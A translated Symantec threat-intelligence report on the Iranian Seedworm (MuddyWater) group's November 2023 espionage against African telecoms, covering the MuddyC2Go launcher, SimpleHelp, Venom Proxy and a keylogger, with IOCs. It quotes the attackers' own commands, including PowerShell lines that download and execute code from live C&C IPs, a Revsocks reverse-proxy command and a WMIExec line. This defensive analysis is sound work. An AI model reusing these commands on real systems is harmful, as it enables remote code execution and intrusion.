Seedworm：針對非洲北部和東部電信機構的伊朗駭客組織

2023 年 12 月 19 日發布 | 威脅情報

威脅獵手團隊
賽門鐵克

使用 MuddyC2Go 框架和自訂的鍵盤側錄程式進行攻擊活動

伊朗間諜組織 Seedworm (又稱為 Muddywater) 一直將埃及、蘇丹和坦尚尼亞電信機構作為攻擊目標。

Seedworm 自 2017 年以來就一直活躍，並且針對許多國家的機構進行攻擊，不過它與對中東地區機構的攻擊有強烈的關聯。公開資料顯示，Seedworm 是一個網路間諜組織，據信隸屬於伊朗情報與安全部 (MOIS)。

攻擊者在這次發生於 2023 年 11 月的攻擊活動中使用多種工具，包括利用 Deep Instinct 最近發現並記錄的 MuddyC2Go 基礎設施。博通公司旗下賽門鐵克威脅獵人團隊的研究人員在我們調查的活動中發現 MuddyC2Go PowerShell 啟動器。

攻擊者還使用 SimpleHelp 遠端存取工具和 Venom Proxy，這些工具之前也與 Seedworm 的活動有關，以及使用一個自訂的鍵盤側錄程式，和其他公開可用的及利用現有資源 (living-off-the-land) 的工具。

攻擊鏈

這次的攻擊活動發生在 2023 年 11 月。我們觀察到大部分活動都發生在一家電信機構。惡意活動第一個證據是一些與 MuddyC2Go 後門相關的 PowerShell 指令碼被執行。

一個名為『vcruntime140.dll』的 MuddyC2Go 啟動器被儲存在『csidl_common_appdata\javax』資料夾中，似乎是被 jabswitch.exe 側載。Jabswitch.exe 是一個合法的 Java Platform SE 8 執行檔。

MuddyC2Go 啟動器執行以下的 PowerShell 指令碼，以連接到其指揮與控制 (C&C) 伺服器：

```
tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp;$tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp="tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp";$uri ="<a href="http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf">http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf</a>";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
```

指令碼開頭的變數似乎是為了試圖繞過安全軟體的檢測而存在的，因為它們未被使用，也沒有相關性。

在這個指令碼被執行之後，攻擊者使用一個之前建立的排程任務來啟動 MuddyC2Go 惡意程式：

```
"CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun"
```

攻擊者還使用一些與 Impacket WMIExec 駭客工具相關的典型命令：

```
cmd.exe /Q /c cd \ 1> \127.0.0.1\ADMIN$__1698662615.0451615 2>&1
```

SimpleHelp 遠端存取工具也被利用連接到 146.70.124[.]102 的 C&C 伺服器。還進一步執行 PowerShell stager (註：用於下載並執行程式碼)，同時攻擊者也執行 Revsocks 工具：

```
CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
```

攻擊者還使用第二個合法遠端存取工具 AnyDesk，它與 Revsocks 和 SimpleHelp 被部署在同一台電腦上，而與 MuddyC2Go 相關的 PowerShell 也在同一台電腦上執行：

```
$uri ="<a href="http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT">http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT</a>";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
```

值得注意的是，該機構據信在 2023 年初就已經被 Seedworm 滲透過。在那次入侵期間值得注意主要活動是廣泛使用 SimpleHelp 來執行各種活動，包括：

- 啟動 PowerShell
- 啟動 proxy工具
- 傾印 SAM 檔案
- 使用 WMI 取得磁碟資訊
- 安裝 JumpCloud 遠端存取軟體
- 傳送 proxy 工具程式，一個疑似 LSASS 傾印工具和一個連接埠掃描器。

在那次入侵中，攻擊者使用 WMI 在受害者網路上啟動 SimpleHelp 安裝程式。當時，這個攻擊活動還無法確定與 Seedworm 有關，但隨後的活動似乎表明，先前活動是由同一群攻擊者所施行。

在另一家被攻擊者做為目標的電信和媒體公司中，多次使用 SimpleHelp 來連接到已知的 Seedworm 基礎設施。一個自訂的 Venom Proxy 駭客工具也在這個網路上執行，而且攻擊者在這次活動中使用新的自訂鍵盤側錄程式。

在第三個被攻擊的機構中，除了過去與 Seedworm 活動有關的 AnyDesk 和可疑的 Windows 腳本檔案 (WSF) 外，還使用 Venom Proxy。

工具集

在這次活動中使用的工具集中，最有趣的部分可能是 MuddyC2Go 啟動器的存在，它是被 jabswitch.exe 側載。

惡意程式從 Windows 登錄表的『HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip』機碼中的 DWORD 值『End』讀取 C&C 的網址 (URL)。URL 路徑是從該機碼中的 DWORD 值『Status』讀取。

最後，MuddyC2GO 啟動器執行以下的 PowerShell 命令，以連接到其 C&C 伺服器並執行收到的 PowerShell 指令碼：

```
powershell.exe -c $uri ='{C2_URI}';$response = Invoke-WebRequest -UseBasicParsing -Uri $uri -Method GET -ErrorAction Stop;Write-Output $response.Content;iex $response.Content;
```

MuddyC2Go 框架最早是在 2023 年 11 月 8 日由 Deep Instinct 的研究人員在一個部落格中公開提及。該部落格記錄它在攻擊中東國家的機構時的使用情況。研究人員說，Seedworm可能自 2020 年以來就開始使用這個框架。他們還說，這個用 Go 程式語言寫成的框架，已經取代 Seedworm 之前的 PhonyC2 C&C 基礎設施。這次置換似乎是在 2023 年初 PhonyC2 的原始碼被洩漏後發生。MuddyC2Go 完整功能尚不清楚，但是它可執行檔包含一個嵌入的 PowerShell 腳本，它會自動連接到 Seedworm 的 C&C 伺服器，無需操作者手動執行，攻擊者即可遠端存取受害者機器。Deep Instinct 表示，能夠將 MuddyC2Go 與追溯到 2020 年的攻擊連結起來，是由於該框架獨特生成 URL 的模式。Deep Instinct 還表示，觀察到 MuddyC2Go 伺服器託管在『Stark Industries』，這是一家以託管惡意活動著稱的 VPS 提供商。

在這次活動中其他值得注意的使用工具包括 SimpleHelp，這是一個合法的遠端裝置控制和管理工具，用於在受害者機器上持續運行。據信 SimpleHelp 自 2022 年 7 月以來就被 Seedworm 用於攻擊。一旦安裝在受害者裝置上，SimpleHelp 就可以作為系統服務持續運行，這使得攻擊者可以在任何時間點，甚至在重新啟動後，獲取用戶裝置的存取權。SimpleHelp 也允許攻擊者以管理員權限在裝置上執行命令。SimpleHelp 現在與 Seedworm 的活動有密切的關聯，而且這個工具被安裝在 Seedworm 的多個伺服器上。

Venom Proxy 是一個公開可用的工具，被描述為『一個為滲透測試者開發的多級代理工具』。它是用 Go 程式語言寫成。它可以用來輕鬆地將網路流量代理到多層內部網路，並輕鬆管理內部網路的代理節點。它自 2022 年中期以來就與 Seedworm 有關，微軟在 2022 年 8 月的一個部落格中將它描述為 Seedworm 的『首選工具』。Seedworm 傾向於在其活動中使用一個自訂的 Venom Proxy 版本。

在這次活動中使用的其他工具包括：

- **Revsocks**--一個用 C 語言編寫的跨平台 SOCKS5 代理伺服器程式／函式庫，它也可以使自己反向以通過防火牆。

- **AnyDesk**---一種合法的遠端桌面應用程式。它和類似的工具經常被攻擊者用來遠端存取網路上的電腦。
- **PowerShell**--Seedworm 在其攻擊中大量使用 PowerShell，以及基於 PowerShell 的工具和腳本。PowerShell 是一種微軟的腳本工具，可以用來執行命令，下載有效載荷，穿越被破解的網路並進行偵察。
- 自訂鍵盤側錄程式

結論

Seedworm 一直對電信機構有興趣，就像許多從事網路間諜活動的組織一樣。但值得注意的是，它在這次活動中強烈關注非洲的組織，因為雖然它過去曾以非洲的組織為目標，但通常主要關注中東國家的組織。這次活動中一個受害組織位於埃及，這也值得注意，因為埃及靠近以色列，而以色列是 Seedworm 經常攻擊的目標。

Seedworm 似乎仍然專注於在其攻擊鏈中廣泛的使用利用現有資源和公開可用的工具，無疑是為了盡可能長時間地在受害者網路上保持不被發現。然而，值得注意的是，它最近以 MuddyC2Go 的形式更廣泛地採用新的 C&C 基礎設施，這顯示該組織仍在根據需求不斷創新和開發其工具集，以保持其活動不被察覺。雖然該組織大量使用利用現有資源和公開可用的工具，但它也有能力開發自己的自訂工具，就像是這次活動中所使用的自訂的 Venom Proxy 和自訂的鍵盤側錄程式。該組織仍然大量使用 PowerShell 和 PowerShell 相關的工具和腳本，這強調機構組織需要警惕其網路上可疑 PowerShell 使用的必要性。

Symantec 威脅獵人團隊觀察到的活動發生在 2023 年 11 月，顯示 Seedworm 是一個目前非常活躍的威脅，機構組織面對的是可能是有戰略利益的伊朗威脅行為者。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (Indicators of Compromise)

如果 IOC 是惡意的並且我們能夠使用該檔案，Symantec Endpoint 產品將檢測並阻止該檔案。

檔案指標

1a0827082d4b517b643c86ee678eaa53f85f1b33ad409a23c50164c3909fdaca - MuddyC2Go DLL launcher

25b985ce5d7bf15015553e30927691e7673a68ad071693bf6d0284b069ca6d6a - Benign Java(TM) Platform SE 8 executable used for sideloading MuddyC2Go DLL

eac8e7989c676b9a894ef366357f1cf8e285abde083fbdf92b3619f707ce292f – Custom keylogger

3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230 – Venom Proxy

網路指標

146.70.124[.]102 – SimpleHelp C&C server

94.131.109[.]65 – MuddyC2Go C&C server

95.164.38[.]99 – MuddyC2Go C&C server

45.67.230[.]91 – MuddyC2Go C&C server

45.150.64(.)39 – MuddyC2Go C&C server

95.164.46[.]199 – MuddyC2Go C&C server

94.131.98[.]14 – MuddyC2Go C&C server

94.131.3[.]160 – GoSOCKS5proxy C&C server

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2023/12

更多資訊 請造訪我們的網站 **http://www.SaveTime.com.tw**
(好記：幫您節省時間.的公司.在台灣)

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力於賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶環境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。保安資訊連絡電話：**0800-381-500**。